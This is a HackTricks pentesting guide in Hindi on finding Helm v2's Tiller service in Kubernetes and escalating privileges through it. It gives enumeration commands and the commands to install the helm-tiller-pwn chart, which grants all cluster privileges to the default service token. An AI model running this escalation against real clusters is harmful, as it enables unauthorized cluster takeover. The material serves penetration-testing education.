hacktricks/src/network-services-pentesting/44134-pentesting-tiller-helm.md

5.0 KiB

{{#include ../banners/hacktricks-training.md}}

मूल जानकारी

Helm Kubernetes के लिए पैकेज प्रबंधक है। यह YAML फ़ाइलों को पैकेज करने और उन्हें सार्वजनिक और निजी रिपॉजिटरी में वितरित करने की अनुमति देता है। इन पैकेजों को Helm Charts कहा जाता है। Tiller वह सेवा है जो डिफ़ॉल्ट रूप से पोर्ट 44134 में चल रही है और सेवा प्रदान कर रही है।

डिफ़ॉल्ट पोर्ट: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeration

यदि आप विभिन्न नामस्थान के पॉड्स और/या सेवाओं को सूचीबद्ध कर सकते हैं, तो उन्हें सूचीबद्ध करें और उन लोगों की खोज करें जिनके नाम में "tiller" है:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

उदाहरण:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

आप इस सेवा को चलाते हुए पोर्ट 44134 की जांच करके भी खोजने की कोशिश कर सकते हैं:

sudo nmap -sS -p 44134 <IP>

एक बार जब आप इसे खोज लेते हैं, तो आप क्लाइंट हेल्म एप्लिकेशन डाउनलोड करके इसके साथ संवाद कर सकते हैं। आप homebrew जैसे टूल का उपयोग कर सकते हैं, या आधिकारिक रिलीज़ पृष्ठ** को देख सकते हैं।** अधिक विवरण के लिए, या अन्य विकल्पों के लिए, स्थापना गाइड देखें।

फिर, आप सेवा की गणना कर सकते हैं:

helm --host tiller-deploy.kube-system:44134 version

Privilege Escalation

डिफ़ॉल्ट रूप से Helm2 को namespace kube-system में उच्च विशेषाधिकार के साथ स्थापित किया गया था, इसलिए यदि आप सेवा को खोजते हैं और इसके लिए पहुंच रखते हैं, तो यह आपको विशेषाधिकार बढ़ाने की अनुमति दे सकता है।

आपको बस एक पैकेज स्थापित करने की आवश्यकता है जैसे: https://github.com/Ruil1n/helm-tiller-pwn जो डिफ़ॉल्ट सेवा टोकन को पूरे क्लस्टर में सब कुछ तक पहुंच प्रदान करेगा।

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

http://rui0.cn/archives/1573 में आपको हमले का विवरण मिलेगा, लेकिन मूल रूप से, यदि आप helm-tiller-pwn/pwnchart/templates/ के अंदर clusterrole.yaml और clusterrolebinding.yaml फ़ाइलें पढ़ते हैं, तो आप देख सकते हैं कि सभी विशेषाधिकार डिफ़ॉल्ट टोकन को दिए जा रहे हैं

{{#include ../banners/hacktricks-training.md}}